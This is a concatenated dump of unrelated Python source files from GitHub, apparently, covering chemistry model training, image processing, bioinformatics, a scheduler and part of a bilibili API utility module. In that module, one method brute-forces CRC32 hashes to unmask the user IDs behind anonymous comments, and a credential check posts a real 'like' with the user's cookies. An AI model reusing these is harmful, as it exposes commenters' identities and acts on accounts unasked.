scipy.sparse object\n :ivar label_matrix: the loaded label matrix\n :vartype label_matrix: scipy.sparse object\n :ivar input_dim: the input size (fingerprint size)\n :vartype input_dim: int\n :ivar output_dim: the output size (number of templates)\n :vartype output_dim: int\n\n :param config: the settings\n :type config: Config\n :param dataset_label: the label of set, e.g. training, testing or validation\n :type dataset_label: str\n \"\"\"\n\n def __init__(self, config, dataset_label):\n super().__init__(config, dataset_label)\n self.output_dim = self.label_matrix.shape[1]\n\n def __getitem__(self, idx):\n idx = self._make_slice(idx)\n return self.input_matrix[idx].toarray(), self.label_matrix[idx].toarray()\n\n def on_epoch_end(self):\n self.input_matrix, self.label_matrix = shuffle(\n self.input_matrix, self.label_matrix, random_state=0\n )\n\n\ndef _setup_callbacks(config):\n early_stopping = EarlyStopping(monitor=\"val_loss\", patience=10)\n csv_logger = CSVLogger(config.filename(\"_keras_training.log\"), append=True)\n\n checkpoint_path = os.path.join(config[\"output_path\"], \"checkpoints\")\n if not os.path.exists(checkpoint_path):\n os.mkdir(checkpoint_path)\n checkpoint = ModelCheckpoint(\n os.path.join(checkpoint_path, \"keras_model.hdf5\"),\n monitor=\"loss\",\n save_best_only=True,\n )\n\n reduce_lr = ReduceLROnPlateau(\n monitor=\"val_loss\",\n factor=0.5,\n patience=5,\n verbose=0,\n mode=\"auto\",\n min_delta=0.000001,\n cooldown=0,\n min_lr=0,\n )\n return [early_stopping, csv_logger, checkpoint, reduce_lr]\n\n\ndef _train_keras_model(model, train_seq, valid_seq, loss, metrics, config):\n adam = Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0)\n\n model.compile(\n optimizer=adam, loss=loss, metrics=metrics,\n )\n\n model.fit_generator(\n train_seq,\n steps_per_epoch=None,\n epochs=config[\"epochs\"],\n verbose=1,\n callbacks=_setup_callbacks(config),\n validation_data=valid_seq,\n validation_steps=None,\n class_weight=None,\n max_queue_size=20,\n workers=20,\n use_multiprocessing=False,\n shuffle=True,\n initial_epoch=0,\n )\n\n\ndef train_rollout_keras_model(config):\n \"\"\"\n Train a rollout policy\n\n :param config: the settings\n :type config: Config\n \"\"\"\n train_seq = RolloutModelSequence(config, \"training\")\n valid_seq = RolloutModelSequence(config, \"validation\")\n\n model = Sequential()\n model.add(\n Dense(\n 512,\n input_shape=(train_seq.input_dim,),\n activation=\"elu\",\n kernel_regularizer=regularizers.l2(0.001),\n )\n )\n model.add(Dropout(0.4))\n model.add(Dense(train_seq.output_dim, activation=\"softmax\"))\n\n _train_keras_model(\n model,\n train_seq,\n valid_seq,\n \"categorical_crossentropy\",\n [\"accuracy\", \"top_k_categorical_accuracy\", top10_acc, top50_acc],\n config,\n )\n","repo_name":"churlohemd/aizynthfinder","sub_path":"aizynthfinder/training/keras_models.py","file_name":"keras_models.py","file_ext":"py","file_size_in_byte":5043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"28721757409","text":"P1 = True\nP2 = True\nP3 = True\nP4 = False\nP5 = False\n\nrule1 = P1 and P2\nrule2 = P1 and P2 and P3 and not P4\nrule3 = P1 and P2 and P3 and not P4 and P5\n\nif (rule3):\n print(\"The customer can rent SUV\")\nelif(rule2):\n print(\"Customer can rent Sedan\")\nelif(rule2):\n print(\"The Customer is not elligible\")\n","repo_name":"adityarai3/AI---LAB","sub_path":"exp7.py","file_name":"exp7.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"33885572791","text":"from rest_framework.permissions import BasePermission\n\n\nfrom UserAuthAndPermission.models import User\n\n# 验证用户权限\nclass IsSuperUser(BasePermission):\n\n\n def has_permission(self, request, view):\n request_method_list = ['GET', 'PUT', 'PATCH', 'DELETE']\n if request.method in request_method_list:\n if isinstance(request.user, User):\n return request.user.is_super\n return False\n return True","repo_name":"vvanglro/django","sub_path":"DjangoREST/UserAuthAndPermission/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"23522086937","text":"\"\"\" Pectoral Muscle Detection \"\"\"\n\nfrom skimage.transform import (hough_line, hough_line_peaks, probabilistic_hough_line)\nfrom skimage.filter import canny\nfrom skimage import data\nfrom scipy import ndimage\nimport scipy.ndimage.filters as filters\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef line_triming(lines,side,n_row, n_col):\n \"\"\" Triming from the list of detected lines based on image coordinations.\n\n Parameters\n ----------\n lines: list of line\n side: integer\n The side of the breast (0/1)\n n_row: integer\n image row number\n n_col: integer\n image column number \n \"\"\"\n \n t_lines = []\n dis_mid = []\n length = []\n \n for line in lines:\n p0, p1 = line\n if p0[1]- p1[1] == 0:\n continue\n slope = np.double(p0[0] - p1[0])/np.double(p0[1]- p1[1])\n mid = ((p0[0]+p1[0])/2,(p0[1]+p1[1])/2)\n if side == 1:\n quater = (n_col*3/4,n_row/4)\n if slope>0.5 and slope<2 and mid[0] > n_col/3 and mid[1] < n_row/3 :\n t_lines.append(line)\n dis_mid.append( np.sqrt((mid[0] - quater[0])**2 + (mid[1] - quater[1])**2) )\n length.append( np.sqrt((p0[0] - p1[0])**2 + (p0[1] - p1[1])**2) )\n \n if side == 0:\n quater = (n_col*1/4,n_row/4)\n if slope<-0.5 and slope>-2 and mid[0] < n_col/3 and mid[1] < n_row/3 :\n t_lines.append(line)\n dis_mid.append( np.sqrt((mid[0] - quater[0])**2 + (mid[1] - quater[1])**2) )\n length.append( np.sqrt((p0[0] - p1[0])**2 + (p0[1] - p1[1])**2) )\n\t\n if len(dis_mid) > 0:\n min_dis = np.argmin(dis_mid)\n return [t_lines[min_dis]]\n if len(length) > 0:\n max_len = np.argmax(length)\n \n \n return []\n\ndef mmask(ishape, line, side):\n \"\"\" Creat a binary mask with one side of the line zero, and the other side 1\n\n Parameters\n ----------\n ishape: tuple\n image shape\n line: \n side: integer\n The side of the breast (0/1)\n \n \"\"\"\n \n p0,p1 = line\n slope = np.double(p0[1] - p1[1])/np.double(p0[0] - p1[0])\n intercept = slope*p0[0] - p0[1]\n\n X, Y = np.ogrid[0:ishape[0], 0:ishape[1]]\n mask = X - slope*Y + intercept < 0\n return mask\n\n\ndef PMremove(image,threshold = 15.5, visulization = False):\n \"\"\" Main function to remove pectoral muscle\n\n Parameters\n ----------\n image: numpy array (2D)\n input image data\n threshold:float\n Threshold for hough transformation \n \n \"\"\"\n\n # binarizing\n mask = image < threshold\n image[mask] = 0\n \n # smoothing\n smoothimg = filters.gaussian_filter(image, sigma = 1.0, order=0, output=None, mode='constant', cval=0.0, truncate=4.0)\n\n # Hough transform\n edges = canny(image, 3)\n lines = probabilistic_hough_line(smoothimg, threshold=10, line_length=5, line_gap=3)\n\n # Righr side or left side\n b_size = 5\n n_row, n_col = image.shape\n side = 0\n if np.sum(image[0:b_size,0:b_size]) < np.sum(image[0:b_size,n_col-b_size:n_col]):\n side = 1\n\n # triming lines\n t_lines = line_triming(lines,side,n_row, n_col)\n\n # create muscle mask\n if len(t_lines)>0:\n mask = mmask(image.shape, t_lines[0], side)\n image[mask] = 0\n\n # plot\n if visulization == True:\n\n plt.figure(figsize=(8, 4))\n\n plt.subplot(141)\n plt.imshow(image, cmap=plt.cm.gray)\n plt.title('Input image')\n\n plt.subplot(142)\n plt.imshow(mask, cmap=plt.cm.gray)\n plt.title('smoothing image')\n\n plt.subplot(143)\n plt.imshow(edges, cmap=plt.cm.gray)\n plt.title('Canny edges')\n\n plt.subplot(144)\n plt.imshow(edges * 0)\n \n for line in t_lines:\n p0, p1 = line\n #print (line,np.double(p0[0] - p1[0])/np.double(p0[1]- p1[1]))\n plt.plot((p0[0], p1[0]), (p0[1], p1[1]))\n\n plt.title('Probabilistic Hough')\n plt.axis('image')\n plt.show()\n \n return image\n\n\ndef test_example():\n \n # Construct toydata\n image = np.zeros((100, 100))\n idx = np.arange(25, 75)\n image[idx[::-1], idx] = 255\n image[idx, idx] = 255\n \n # Classic straight-line Hough transform \n h, theta, d = hough_line(image)\n\n # plot\n plt.figure(figsize=(8, 4))\n\n plt.subplot(131)\n plt.imshow(image, cmap=plt.cm.gray)\n plt.title('Input image')\n\n plt.subplot(132)\n plt.imshow(np.log(1 + h),\n extent=[np.rad2deg(theta[-1]), np.rad2deg(theta[0]),\n d[-1], d[0]],\n cmap=plt.cm.gray, aspect=1/1.5)\n plt.title('Hough transform')\n plt.xlabel('Angles (degrees)')\n plt.ylabel('Distance (pixels)')\n\n plt.subplot(133)\n plt.imshow(image, cmap=plt.cm.gray)\n rows, cols = image.shape\n for _, angle, dist in zip(*hough_line_peaks(h, theta, d)):\n y0 = (dist - 0 * np.cos(angle)) / np.sin(angle)\n y1 = (dist - cols * np.cos(angle)) / np.sin(angle)\n plt.plot((0, cols), (y0, y1), '-r')\n plt.axis((0, cols, rows, 0))\n plt.title('Detected lines')\n\n\n","repo_name":"jiehuizhang/Tomo","sub_path":"source/PMHoughT.py","file_name":"PMHoughT.py","file_ext":"py","file_size_in_byte":5143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29633853014","text":"#!/usr/bin/env python2\nimport os\nimport sys\nfrom Bio import SeqIO\nimport tempfile\nimport time\nimport argparse\n\n#parse command line arguments\ncl_parser = argparse.ArgumentParser(description=\"Extract sequences of interest from multifasta file and write to new multifasta file.\")\ncl_parser.add_argument(\"-f\",\"--fasta_in\", help=\"Input multifasta file\",dest=\"fastain\",type=str,required=True)\ncl_parser.add_argument(\"-o\",\"--output\",help=\"Specify output path\",dest=\"output\",type=str)\ncl_parser.add_argument(\"-g\",\"--gene_list\", help=\"List of genes of interest, one per line.\",dest=\"genelist\",type=str,required=True)\n\ncl_args = cl_parser.parse_args()\n\n#check user input\nif not os.path.isfile(cl_args.fastain):\n print('Cannot find input fasta file.')\n print('Exiting')\n\nif not os.path.isfile(cl_args.genelist):\n print('Cannot find gene list')\n print('Exiting')\n\nif cl_args.output != None:\n try:\n os.makedirs(os.path.abspath(os.path.dirname(cl_args.output)))\n except OSError as er:\n if er.errno == os.errno.EEXIST:\n print('Output directory already exists.')\n else:\n raise\nif cl_args.output == None:\n cl_args.output = os.getcwd()+os.sep+'Multifasta_'+time.strftime('%Y%m%d_%H%M')+'.fasta'\n\n\n#create function to give to SeqIO for creating dictionary keys from pangenome fasta file\ndef inputfastakey(identifier):\n part = identifier.split('|')[1]\n return(part)\n\ngenelist = list()\nwith open(cl_args.genelist,'r') as ingenelist:\n for line in ingenelist:\n genelist.append(line.strip())\n\n#check if fasta file is formatted correctly?\n\n#create temporary file to store modified reference fasta\n#modify reference fasta to identifier line contains | between genome name and gene name\nfastatemp = tempfile.NamedTemporaryFile(suffix = '.fasta', prefix = 'pan_gen_temp', dir = os.path.dirname(cl_args.output), bufsize=0)\nwith open(cl_args.fastain,'r') as rawfasta:\n rawfasta.seek(0)\n for line in rawfasta:\n newline = line.replace(' ','|')\n fastatemp.write(newline)\n\n#create index of temporary fasta file using gene name as dictionary key\nreference_fasta_dict = SeqIO.index(fastatemp.name,'fasta', key_function=inputfastakey)\n\n#write fasta sequences to output files\n#create generator / iterator for indexed fasta file using gene name lists, then pass to SeqIO output\ntry:\n FastaRecords = (reference_fasta_dict[gene] for gene in genelist)\n SeqIO.write(FastaRecords, cl_args.output, 'fasta')\nexcept KeyError as err:\n #print(err)\n print('-------------')\n print('KeyError: {0}'.format(gene))\n print('Input gene list contains an entry not present in the provided fasta file')\n print('List of genes in file must be separated by newline \"\\\\n\" characters only with no extra blank lines.')\n print('-------------')\n print('Output file is incomplete.')\n print('Exiting')\n fastatemp.close()\n reference_fasta_dict.close()\n sys.exit()\n\n#close file connections\n#closing temporary file will delete file\nreference_fasta_dict.close()\nfastatemp.close()\nprint('Output in: {0}'.format(cl_args.output))\nprint('Complete')\n","repo_name":"C-Connor/GeneralTools","sub_path":"GeneListToMultifasta.py","file_name":"GeneListToMultifasta.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"10497440500","text":"import sys\nimport math\nimport random\nfrom dataclasses import dataclass\nfrom typing import List, Optional\n\n\n@dataclass\nclass Task:\n '''Represents a single task from input set'''\n duration: int # I\n deadline: int # D\n pre_cost: int # a\n post_cost: int # b\n\n def __hash__(self):\n return hash(\n (self.duration, self.deadline, self.pre_cost, self.post_cost)\n )\n\n\nclass Node:\n '''Branch-and-bound algorithm tree NODE'''\n\n def __init__(self):\n self.task: Optional[Task] = None\n self.cost: int = 0\n self.children: List[Node] = []\n self.discontinued: bool = False\n\n\nclass BranchAlg:\n '''Branch-and-bound algorithm implementation'''\n\n def __init__(self):\n self._step = 0\n self._tasks = [] # All tasks\n self._root = Node() # Branching tree root\n self._last_optimal = self._root # Last (leaf) optimal task\n self._tasks_left = []\n self.path = []\n self.record = math.inf\n\n def parse(filename: str): # Parse input set from file\n with open(filename, 'r') as f:\n lines = f.read().splitlines()\n tasks = [Task(0, 0, 0, 0) for _ in lines[0].split()]\n fs = ['duration', 'deadline', 'pre_cost', 'post_cost']\n for li, line in enumerate(lines[:4]):\n for i, v in enumerate(line.split()):\n setattr(tasks[i], fs[li], int(v))\n res = BranchAlg()\n res._tasks = tasks\n res._tasks_left = [t for t in tasks]\n return res\n\n def step(self, prev, traverse=False):\n\n self._step += 1\n print(f'\\n----- step #{self._step} -----')\n for t in self._tasks_left:\n overtime = t.duration + (prev.task.duration if prev.task else 0)\n if overtime < t.deadline:\n cost = (t.deadline - overtime) * t.pre_cost\n else:\n cost = (overtime - t.deadline) * t.post_cost\n print(\n f'Task #{self._tasks.index(t) + 1}:'\n ' Penalty = {}; {}'.format(\n cost, 'late' if overtime < t.deadline else 'early'\n )\n )\n\n # Generate new sub-Node\n n = Node()\n n.task = t\n n.cost = cost\n prev.children.append(n)\n\n best = min(prev.children, key=lambda t: t.cost)\n best.discontinued = True\n self.path.append(self._tasks.index(best.task) + 1)\n self._last_optimal = best\n self._tasks_left.pop(self._tasks_left.index(best.task))\n\n def _task_num(self, node: Node) -> str:\n try:\n return str(self._tasks.index(node.task) + 1)\n except ValueError:\n return '*'\n\n def retraverse(self):\n def find_free_node(n):\n if not n.discontinued:\n return n\n for ch in n.children:\n return find_free_node(n)\n free = find_free_node(root)\n\n def print_tree(self):\n print('-' * 40)\n\n def print_node(node: Node, indent=0):\n if indent:\n idnt = (' ' * (indent - 1)) + '^---'\n idnt = '|' + idnt[1:]\n rpr = idnt + f'{self._task_num(node)}: {node.cost}'\n if node.discontinued:\n rpr += ' тип'\n print(rpr)\n for ch in node.children:\n print_node(ch, indent + 1)\n print_node(self._root)\n\n def find_record(self):\n self._tasks_left = [t for t in self._tasks]\n while self._tasks_left:\n self.step(self._last_optimal)\n self.retraverse()\n\n\nif __name__ == '__main__':\n args = sys.argv[1:]\n if not args:\n print('File not specified.')\n sys.exit(1)\n\n alg = BranchAlg.parse(args[0])\n alg.find_record()\n alg.print_tree()\n\n print('\\nFinal result:')\n print(' -> '.join(str(t) for t in alg.path))\n","repo_name":"kraftwerk28/math-opt","sub_path":"task8/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"20405331806","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom functools import partial\n\nfrom .functions import PCT, ViT_Harmonizer\n\n\nclass PCTNet(nn.Module):\n \n def __init__(\n self,\n backbone_type='ViT', \n input_normalization = {'mean': [0.0, 0.0, 0.0], 'std':[1.0, 1.0, 1.0]},\n dim=3, transform_type='linear', affine=True,\n clamp=True, color_space = 'RGB', use_attn = False\n ):\n super(PCTNet, self).__init__()\n \n self.color_space = color_space\n self.use_attn = use_attn\n\n self.dim = dim\n self.transform_type = transform_type\n self.affine = affine\n self.PCT = PCT(transform_type, dim, affine, color_space, input_normalization['mean'], input_normalization['std'], clamp=clamp)\n self.out_dim = self.PCT.get_out_dim()\n\n input_dim = self.out_dim\n self.backbone_type = backbone_type\n self.encoder = ViT_Harmonizer(output_nc=input_dim)\n self.decoder = lambda intermediates, img, mask: (intermediates, mask)\n\n self.get_params = nn.Conv2d(input_dim, self.out_dim, kernel_size=1)\n\n\n def forward(self, image, image_fullres=None, mask=None, mask_fullres=None, backbone_features=None):\n self.device = image.get_device()\n \n image = image.unsqueeze(0) \n mask = mask.unsqueeze(0) \n image_fullres = image_fullres.unsqueeze(0) \n mask_fullres = mask_fullres.unsqueeze(0) \n x = torch.cat((image, mask), dim=1)\n \n intermediates = self.encoder(x, backbone_features)\n latent, attention_map = self.decoder(intermediates, image, mask) # (N, 32, 256, 256), (N, 1, 256, 256)\n params = self.get_params(latent)\n\n output_lowres = self.PCT(image, params)\n\n if self.use_attn:\n output_lowres = output_lowres * attention_map + image * (1-attention_map)\n else:\n output_lowres = output_lowres * mask + image * (1 - mask) \n\n # Full resolution branch\n if torch.is_tensor(image_fullres):\n fr_imgs = [image_fullres]\n fr_masks = [mask_fullres]\n idx = [[n for n in range(image_fullres.shape[0])]]\n else:\n fr_imgs = [img_fr.unsqueeze(0).to(image.get_device()) for img_fr in image_fullres]\n fr_masks = [mask_fr.unsqueeze(0).to(image.get_device()) for mask_fr in mask_fullres]\n idx = [[n] for n in range(len(image_fullres))]\n\n out_fr = []\n param_fr = []\n for id, fr_img, fr_mask in zip(idx, fr_imgs, fr_masks):\n H = fr_img.size(2)\n W = fr_img.size(3)\n params_fullres = F.interpolate(params[id], size=(H, W), mode='bicubic', align_corners=True)\n output_fullres = self.PCT(fr_img, params_fullres)\n if self.use_attn:\n attention_map_fullres = F.interpolate(attention_map[id], size=(H, W), mode='bicubic', align_corners=True)\n output_fullres = output_fullres * attention_map_fullres + fr_img * (1-attention_map_fullres)\n else:\n output_fullres = output_fullres * fr_mask + fr_img * (1 - fr_mask)\n out_fr.append(output_fullres.squeeze())\n param_fr.append(params_fullres.squeeze())\n \n if len(out_fr) == 1:\n out_fr = out_fr[0]\n \n return out_fr\n","repo_name":"bcmi/libcom","sub_path":"libcom/image_harmonization/source/pct_net.py","file_name":"pct_net.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"29"} +{"seq_id":"32032136051","text":"import owslib.wps\n\nurl = \"http://127.0.0.1:5000/wps\"\nwps = owslib.wps.WebProcessingService(url, verbose=False, skip_caps=True)\nwps.getcapabilities()\n\nprocess_name = \"echo_vector\"\n\ngml = owslib.wps.GMLMultiPolygonFeatureCollection([[(-102.8184, 39.5273),\n (-102.8184, 37.418),\n (-101.2363, 37.418),\n (-101.2363, 39.5273),\n (-102.8184, 39.5273)]])\n\n \ninputs = [(\"message\", gml)]\n\nexecution = wps.execute(process_name, inputs)\n\nfor output in execution.processOutputs:\n owslib.wps.printInputOutput(output)\n","repo_name":"mlacayoemery/owslib-pywps-echo","sub_path":"simple_client.py","file_name":"simple_client.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"35830173789","text":"import os\nimport json\nimport time\nimport pandas as pd\nimport csv\nimport traceback, sys\n\n\n\ndef write_csv(arraytowrite, output_path):\n output_file= open(output_path,'a')\n csvwriter=csv.writer(output_file, delimiter=\"|\")\n if isinstance(arraytowrite[0],list):\n csvwriter.writerows(arraytowrite)\n else:\n csvwriter.writerow(arraytowrite)\n output_file.close()\n\n\n\ndef arraytostring(array):\n final_string=\" \"\n return final_string.join(array)\n\n\ndef extract_metadata(transcript):\n\n metdata_info= [transcript[\"id\"], transcript[\"symbol\"], transcript[\"quarter\"], transcript[\"time\"],transcript[\"title\"], transcript[\"year\"]]\n return metdata_info\n\ndef extract_speech(id, symbol, speeches):\n speech_info=[]\n order=0\n\n for speech in speeches:\n speech_info.append([id, symbol, order, speech[\"name\"], arraytostring(speech[\"speech\"]), speech[\"session\"]])\n order=order+1\n return speech_info\n\ndef extract_participant(id, symbol, participants):\n participant_info=[]\n\n for participant in participants:\n participant_info.append([id, symbol, participant[\"name\"], participant[\"description\"], participant[\"role\"]])\n return participant_info\n\ndef extract_text (input_path, metadata_file, participant_file, speech_file):\n input_file=open(input_path) \n try:\n transcript = json.load(input_file) \n id=transcript[\"id\"]\n symbol=transcript[\"symbol\"]\n participant_info=extract_participant(id, symbol, transcript[\"participant\"])\n write_csv(participant_info, participant_file) \n\n \n speech_info=extract_speech(id, symbol, transcript[\"transcript\"])\n write_csv(speech_info, speech_file) \n \n metadata_info=extract_metadata(transcript)\n write_csv(metadata_info,metadata_file)\n\n \n except Exception as e:\n print(\"Error loading file: \" + str(input_path))\n traceback.print_exception(*sys.exc_info())\n print(e)\n pass \n input_file.close()\n \n\ndef main():\n input_dir =\"/Users/shankar.sivadasan/Downloads/Transcripts_1500\"\n participant_file=\"/Users/shankar.sivadasan/Downloads/Transcripts_results/participant.csv\"\n speech_file=\"/Users/shankar.sivadasan/Downloads/Transcripts_results/speech.csv\"\n metadata_file=\"/Users/shankar.sivadasan/Downloads/Transcripts_results/metadata.csv\"\n\n #Write the headers for the CSV files\n header_participant=['id', 'symbol', 'name', 'description', 'role']\n write_csv(header_participant, participant_file)\n\n header_speech=['id', 'symbol', 'order', 'name', 'speech', 'session']\n write_csv(header_speech, speech_file)\n\n header_metadata=['id', 'symbol', 'quarter', 'time', 'title', 'year']\n write_csv(header_metadata, metadata_file)\n counter=0\n for root, dirs, files in os.walk(input_dir):\n for f in files:\n input_path = os.path.join(root, f)\n extract_text(input_path,metadata_file, participant_file, speech_file)\n print(\"Processed file # \" + str(counter))\n counter=counter+1\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"sivadasa/finnhub_analysis","sub_path":"parser_russell3000.py","file_name":"parser_russell3000.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"15040562752","text":"r\"\"\"\n模块:utils\n功能:基础工具库\n _____ _____ _____ _ __ ____ _ _\n | __ \\ /\\ / ____| / ____| | |/ / / __ \\ | | | |\n | |__) | / \\ | (___ | (___ | ' / | | | | | | | |\n | ___/ / /\\ \\ \\___ \\ \\___ \\ | < | | | | | | | |\n | | / ____ \\ ____) | ____) | | . \\ | |__| | | |__| |\n |_| /_/ \\_\\ |_____/ |_____/ |_|\\_\\ \\____/ \\____/4\n\"\"\"\nimport json\nimport datetime\nimport time\nimport os\nimport requests\nfrom bilibili_api import exceptions\nimport urllib3\nfrom zlib import crc32\n\nuse_https = True\nurllib3.disable_warnings()\n\nDEFAULT_HEADERS = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\n \"Chrome/79.0.3945.130 Safari/537.36\",\n \"Referer\": \"https://www.bilibili.com\"\n}\n\nMESSAGES = {\n \"no_sess\": \"需要提供:SESSDATA(Cookies里头的`SESSDATA`键对应的值)\",\n \"no_csrf\": \"需要提供:csrf(Cookies里头的`bili_jct`键对应的值)\"\n}\n\n\ndef get_project_path():\n return os.path.dirname(__file__)\n\n\ndef get_api():\n \"\"\"\n 获取API\n :return:\n \"\"\"\n with open(os.path.join(os.path.dirname(__file__), \"data/api.json\"), \"r\", encoding=\"utf-8\") as f:\n apis = json.loads(f.read())\n f.close()\n return apis\n\n\nclass Color:\n def __init__(self, hex_: str = \"FFFFFF\"):\n self.__color = 0\n self.set_hex_color(hex_)\n\n def set_hex_color(self, hex_color: str):\n \"\"\"\n 设置十六进制RGB颜色\n :param hex_color:\n :return:\n \"\"\"\n if len(hex_color) == 3:\n hex_color = \"\".join(x + \"0\" for x in hex_color)\n dec = int(hex_color, 16)\n self.__color = dec\n\n def set_rgb_color(self, r: int, g: int, b: int):\n \"\"\"\n 根据RGB三个分量设置颜色\n :param r: 红色分量\n :param g: 绿色分量\n :param b: 蓝色分量\n :return:\n \"\"\"\n if not all([0 <= r < 256, 0 <= g < 256, 0 <= b < 256]):\n raise ValueError(\"值范围0~255\")\n self.__color = (r << 8*2) + (g << 8) + b\n\n def set_dec_color(self, color: int):\n \"\"\"\n 设置十进制颜色\n :param color:\n :return:\n \"\"\"\n if 0 <= int(color) <= 16777215:\n self.__color = color\n else:\n raise ValueError(\"范围0~16777215\")\n\n def get_hex_color(self):\n \"\"\"\n 获取十六进制颜色\n :return:\n \"\"\"\n # 补零\n h = hex(int(self.__color)).lstrip(\"0x\")\n h = \"0\" * (6 - len(h)) + h\n return h\n\n def get_rgb_color(self):\n \"\"\"\n 获取RGB三个分量颜色\n :return:\n \"\"\"\n h = hex(int(self.__color)).lstrip(\"0x\")\n # 补零\n h = \"0\" * (6 - len(h)) + h\n r = int(h[0:2], 16)\n g = int(h[2:4], 16)\n b = int(h[4:6], 16)\n return r, g, b\n\n def get_dec_color(self):\n \"\"\"\n 获取十进制颜色\n :return:\n \"\"\"\n return self.__color\n\n def __str__(self):\n return self.get_hex_color()\n\n\nclass Danmaku:\n FONT_SIZE_SMALL = 18\n FONT_SIZE_BIG = 36\n FONT_SIZE_NORMAL = 25\n MODE_FLY = 1\n MODE_TOP = 5\n MODE_BOTTOM = 4\n\n def __init__(self, text: str, dm_time: float = 0.0, send_time: float = time.time(), crc32_id: str = None\n , color: Color = None,\n mode: int = MODE_FLY, font_size: int = FONT_SIZE_NORMAL, is_sub: bool = False):\n self.dm_time = datetime.timedelta(seconds=dm_time)\n self.send_time = datetime.datetime.fromtimestamp(send_time)\n self.crc32_id = crc32_id\n self.uid = None\n\n self.__color = color if color else Color()\n\n self.mode = mode\n self.font_size = font_size\n self.is_sub = is_sub\n self.text = text\n\n def __str__(self):\n ret = \"%s, %s, %s\" % (self.send_time, self.dm_time, self.text)\n return ret\n\n def __len__(self):\n return len(self.text)\n\n def crack_uid(self):\n \"\"\"\n 暴力破解UID,耗时较长不要大量使用\n :return:\n \"\"\"\n crc_dec = int(self.crc32_id, 16)\n uid = 1\n while True:\n crc = crc32(str(uid).encode())\n if crc == crc_dec:\n break\n uid += 1\n self.uid = uid\n return uid\n\n\nclass Verify:\n def __init__(self, sessdata: str = None, csrf: str = None):\n self.sessdata = sessdata\n self.csrf = csrf\n\n def get_cookies(self):\n \"\"\"\n 获取cookies\n :return:\n \"\"\"\n cookies = {}\n if self.has_sess():\n cookies[\"SESSDATA\"] = self.sessdata\n if self.has_csrf():\n cookies[\"bili_jct\"] = self.csrf\n return cookies\n\n def has_sess(self):\n \"\"\"\n 是否提供SESSDATA\n :return:\n \"\"\"\n if self.sessdata is None:\n return False\n else:\n return True\n\n def has_csrf(self):\n \"\"\"\n 是否提供CSRF\n :return:\n \"\"\"\n if self.csrf is None:\n return False\n else:\n return True\n\n def check(self):\n \"\"\"\n 检查权限情况\n -1: csrf 校验失败\n -2: SESSDATA值有误\n -3: 未提供SESSDATA\n :return:\n \"\"\"\n ret = {\n \"code\": -2,\n \"message\": \"\"\n }\n if not self.has_sess():\n ret[\"code\"] = -3\n ret[\"message\"] = \"未提供SESSDATA\"\n else:\n api = \"https://api.bilibili.com/x/web-interface/archive/like\"\n data = {\"bvid\": \"BV1uv411q7Mv\", \"like\": 1, \"csrf\": self.csrf}\n req = requests.post(url=api, data=data, cookies=self.get_cookies())\n if req.ok:\n con = req.json()\n if con[\"code\"] == -111:\n ret[\"code\"] = -1\n ret[\"message\"] = \"csrf 校验失败\"\n elif con[\"code\"] == -101 or con[\"code\"] == -400:\n ret[\"code\"] = -2\n ret[\"message\"] = \"SESSDATA值有误\"\n else:\n ret[\"code\"] = 0\n ret[\"message\"] = \"0\"\n else:\n raise exceptions.NetworkException(req.status_code)\n return ret\n\n\n# 请求相关\n\n\ndef get(url, params=None, cookies=None, headers=None, **kwargs):\n \"\"\"\n 专用GET请求\n :param url:\n :param params:\n :param cookies:\n :param headers:\n :param kwargs:\n :return:\n \"\"\"\n if headers is None:\n headers = DEFAULT_HEADERS\n if use_https:\n req = requests.get(url=url, params=params, headers=headers, cookies=cookies, verify=True, **kwargs)\n else:\n req = requests.get(url=url, params=params, headers=headers, cookies=cookies, verify=False, **kwargs)\n if req.ok:\n content = req.content.decode(\"utf8\")\n if req.headers.get(\"content-length\") == 0:\n return None\n con = json.loads(content)\n if con[\"code\"] != 0:\n raise exceptions.BilibiliException(con[\"code\"], con[\"message\"])\n else:\n if 'data' in con.keys():\n return con['data']\n else:\n if 'result' in con.keys():\n return con[\"result\"]\n else:\n return None\n else:\n raise exceptions.NetworkException(req.status_code)\n\n\ndef post(url, cookies, data=None, headers=None, **kwargs):\n \"\"\"\n 专用POST请求\n :param url:\n :param cookies:\n :param data:\n :param headers:\n :param kwargs:\n :return:\n \"\"\"\n if headers is None:\n headers = DEFAULT_HEADERS\n if use_https:\n req = requests.post(url=url, data=data, headers=headers, cookies=cookies, verify=True, **kwargs)\n else:\n req = requests.post(url=url, data=data, headers=headers, cookies=cookies, verify=False, **kwargs)\n if req.ok:\n content = req.content.decode(\"utf8\")\n if req.headers.get(\"content-length\") == 0:\n return None\n con = json.loads(content)\n if con[\"code\"] != 0:\n raise exceptions.BilibiliException(con[\"code\"], con[\"message\"])\n else:\n if \"data\" in con:\n return con[\"data\"]\n else:\n if 'result' in con.keys():\n return con[\"result\"]\n else:\n return None\n else:\n raise exceptions.NetworkException(req.status_code)\n\n\ndef bvid2aid(bvid: str):\n \"\"\"\n BV号转AV号\n 代码来源:https://www.zhihu.com/question/381784377/answer/1099438784\n :param bvid:\n :return:\n \"\"\"\n table = 